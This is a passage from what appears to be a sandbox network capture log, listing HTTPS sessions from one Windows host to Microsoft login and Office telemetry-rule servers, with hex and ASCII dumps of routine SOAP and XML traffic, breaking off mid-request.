2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 54 65 6e 61 6e 74 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 33 22 20 46 3d 22 55 73 65 72 20 65 6e 61 62 6c 65 64 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 66 61 6c 73 65 22 20 54 3d 22 42 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 Data Ascii: L> <S T="3" F="Tenant enabled" /> </L> <R> <O T="EQ"> <L> <S T="3" F="User enabled" /> </L> <R> <V V="false" T="B" /> </R>
2024-11-24 03:20:17 UTC	16384	IN	Data Raw: 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 20 20 20 3c 52 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 56 20 56 3d 22 34 30 34 22 20 54 3d 22 55 33 32 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 3c 2f 52 3e 0d 0a 20 20 20 20 20 20 3c 2f 4f 3e 0d 0a 20 20 20 20 3c 2f 46 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 37 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 41 4e 44 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 4f 20 54 3d 22 47 45 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 32 22 20 46 3d 22 48 74 74 70 53 74 61 74 75 73 22 20 2f 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 2f 4c 3e 0d 0a 20 20 20 20 20 Data Ascii: us" /> </L> <R> <V V="404" T="U32" /> </R> </O> </F> <F T="7"> <O T="AND"> <L> <O T="GE"> <L> <S T="2" F="HttpStatus" /> </L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.6	49715	40.126.53.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-24 03:20:17 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 03:20:17 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 03:19:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BL2 x-ms-request-id: 1eeb5891-32c9-4b97-afd1-528852d35459 PPServer: PPV: 30 H: BL02EPF0001DA37 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 03:20:16 GMT Connection: close Content-Length: 11177
2024-11-24 03:20:17 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.6	49716	40.126.53.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-24 03:20:17 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 03:20:18 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 03:19:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: f89b8263-802d-4b04-bb35-867233272fdc PPServer: PPV: 30 H: PH1PEPF0001200E V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 03:20:16 GMT Connection: close Content-Length: 11177
2024-11-24 03:20:18 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.6	49714	40.126.53.10	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:17 UTC	422	OUT	POST /RST2.srf HTTP/1.0 Connection: Keep-Alive Content-Type: application/soap+xml Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 10.0; Win64; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; IDCRL 24.10.0.19045.0.0; IDCRL-cfg 16.000.29743.00; App svchost.exe, 10.0.19041.1806, {DF60E2DF-88AD-4526-AE21-83D130EF0F68}) Content-Length: 4831 Host: login.live.com
2024-11-24 03:20:17 UTC	4831	OUT	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 55 54 46 2d 38 22 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 70 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 6d 69 63 72 6f 73 6f 66 74 2e 63 6f 6d 2f 50 61 73 73 70 6f 72 74 2f 53 6f 61 70 53 65 72 76 69 63 65 73 2f 50 50 43 52 4c 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 Data Ascii: <?xml version="1.0" encoding="UTF-8"?><s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:ps="http://schemas.microsoft.com/Passport/SoapServices/PPCRL" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1
2024-11-24 03:20:17 UTC	569	IN	HTTP/1.1 200 OK Cache-Control: no-store, no-cache Pragma: no-cache Content-Type: application/soap+xml; charset=utf-8 Expires: Sun, 24 Nov 2024 03:19:17 GMT P3P: CP="DSP CUR OTPi IND OTRi ONL FIN" Referrer-Policy: strict-origin-when-cross-origin x-ms-route-info: C558_BAY x-ms-request-id: a5a33287-85ee-441f-80d7-5f3412ca2a57 PPServer: PPV: 30 H: PH1PEPF00012005 V: 0 X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-XSS-Protection: 1; mode=block Date: Sun, 24 Nov 2024 03:20:17 GMT Connection: close Content-Length: 11177
2024-11-24 03:20:17 UTC	11177	IN	Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 20 3f 3e 3c 53 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 53 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 32 30 30 33 2f 30 35 2f 73 6f 61 70 2d 65 6e 76 65 6c 6f 70 65 22 20 78 6d 6c 6e 73 3a 77 73 73 65 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 34 30 31 2d 77 73 73 2d 77 73 73 65 63 75 72 69 74 79 2d 73 65 63 65 78 74 2d 31 2e 30 2e 78 73 64 22 20 78 6d 6c 6e 73 3a 77 73 75 3d 22 68 74 74 70 3a 2f 2f 64 6f 63 73 2e 6f 61 73 69 73 2d 6f 70 65 6e 2e 6f 72 67 2f 77 73 73 2f 32 30 30 34 2f 30 31 2f 6f 61 73 69 73 2d 32 30 30 Data Ascii: <?xml version="1.0" encoding="utf-8" ?><S:Envelope xmlns:S="http://www.w3.org/2003/05/soap-envelope" xmlns:wsse="http://docs.oasis-open.org/wss/2004/01/oasis-200401-wss-wssecurity-secext-1.0.xsd" xmlns:wsu="http://docs.oasis-open.org/wss/2004/01/oasis-200

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.6	49719	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	193	OUT	GET /rules/rule120402v21s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Content-Type: text/xml Content-Length: 3788 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:17 GMT ETag: "0x8DC582BAC2126A6" x-ms-request-id: 44ae66ae-301e-001f-7627-3caa3a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032019Z-15b8b599d88l2dpthC1TEBmzr000000003rg00000000hef5 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:19 UTC	3788	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 34 30 32 22 20 56 3d 22 32 31 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 55 6e 67 72 61 63 65 66 75 6c 41 70 70 45 78 69 74 44 65 73 6b 74 6f 70 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 43 65 6e 73 75 73 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 50 53 50 22 20 78 6d 6c 6e 73 3d 22 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120402" V="21" DC="SM" EN="Office.System.SystemHealthUngracefulAppExitDesktop" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalCensus" DL="A" DCa="PSP" xmlns=""

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.6	49723	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	192	OUT	GET /rules/rule120609v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Content-Type: text/xml Content-Length: 408 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB56D3AFB" x-ms-request-id: b169a0d5-c01e-00a2-4e03-3e2327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032019Z-178bfbc474bv587zhC1NYCny5w00000005bg000000001zyp x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:19 UTC	408	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 44 64 5d 5b 45 65 5d 5b 4c 6c 5d 5b 4c 6c 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120609" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120682" /> <SR T="2" R="^([Dd][Ee][Ll][Ll])"> <S T="1" F="0" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.6	49721	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	192	OUT	GET /rules/rule224902v2s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:19 UTC	470	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Content-Type: text/xml Content-Length: 450 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:27:25 GMT ETag: "0x8DC582BD4C869AE" x-ms-request-id: 0e051980-b01e-005c-631b-3d4c66000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032019Z-178bfbc474bbbqrhhC1NYCvw7400000005kg000000006fxz x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:19 UTC	450	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 32 32 34 39 30 32 22 20 56 3d 22 32 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 31 30 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 55 54 53 20 54 3d 22 32 22 20 49 64 3d 22 62 62 72 35 71 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 33 22 20 47 3d 22 7b 61 33 36 61 39 37 30 64 2d 34 35 61 39 2d 34 65 30 64 2d 39 63 61 62 2d 32 61 32 33 35 63 63 39 64 37 63 36 7d 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 47 22 20 49 3d 22 30 22 20 4f 3d 22 66 61 6c 73 65 4e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="224902" V="2" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120100" /> <UTS T="2" Id="bbr5q" /> <SS T="3" G="{a36a970d-45a9-4e0d-9cab-2a235cc9d7c6}" /> </S> <C T="G" I="0" O="falseN

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.6	49720	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	192	OUT	GET /rules/rule120600v4s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Content-Type: text/xml Content-Length: 2980 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:10 GMT ETag: "0x8DC582BA80D96A1" x-ms-request-id: 6b6b0dda-801e-0083-096a-3cf0ae000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032019Z-174c587ffdf59vqchC1TEByk68000000043g0000000012x0 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:19 UTC	2980	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 30 22 20 56 3d 22 34 22 20 44 43 3d 22 53 4d 22 20 45 4e 3d 22 4f 66 66 69 63 65 2e 53 79 73 74 65 6d 2e 53 79 73 74 65 6d 48 65 61 6c 74 68 4d 65 74 61 64 61 74 61 44 65 76 69 63 65 43 6f 6e 73 6f 6c 69 64 61 74 65 64 22 20 41 54 54 3d 22 63 64 38 33 36 36 32 36 36 31 31 63 34 63 61 61 61 38 66 63 35 62 32 65 37 32 38 65 65 38 31 64 2d 33 62 36 64 36 63 34 35 2d 36 33 37 37 2d 34 62 66 35 2d 39 37 39 32 2d 64 62 66 38 65 31 38 38 31 30 38 38 2d 37 35 32 31 22 20 53 50 3d 22 43 72 69 74 69 63 61 6c 42 75 73 69 6e 65 73 73 49 6d 70 61 63 74 22 20 44 4c 3d 22 41 22 20 44 43 61 3d 22 44 43 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120600" V="4" DC="SM" EN="Office.System.SystemHealthMetadataDeviceConsolidated" ATT="cd836626611c4caaa8fc5b2e728ee81d-3b6d6c45-6377-4bf5-9792-dbf8e1881088-7521" SP="CriticalBusinessImpact" DL="A" DCa="DC"

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.6	49722	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	192	OUT	GET /rules/rule120608v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-24 03:20:19 UTC	494	IN	HTTP/1.1 200 OK Date: Sun, 24 Nov 2024 03:20:19 GMT Content-Type: text/xml Content-Length: 2160 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:03 GMT ETag: "0x8DC582BA3B95D81" x-ms-request-id: 2aa1f1ad-b01e-003d-7c43-3cd32c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241124T032019Z-174c587ffdfgcs66hC1TEB69cs00000003q000000000fm02 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-24 03:20:19 UTC	2160	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 30 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 30 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 37 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 33 22 20 52 3d 22 31 32 30 36 31 30 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 34 22 20 52 3d 22 31 32 30 36 31 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 35 22 20 52 3d 22 31 32 30 36 31 34 22 20 2f 3e 0d 0a 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120608" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <R T="1" R="120609" /> <R T="2" R="120679" /> <R T="3" R="120610" /> <R T="4" R="120612" /> <R T="5" R="120614" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.6	49726	20.103.156.88	443

Timestamp	Bytes transferred	Direction	Data
2024-11-24 03:20:19 UTC	2604	OUT	GET 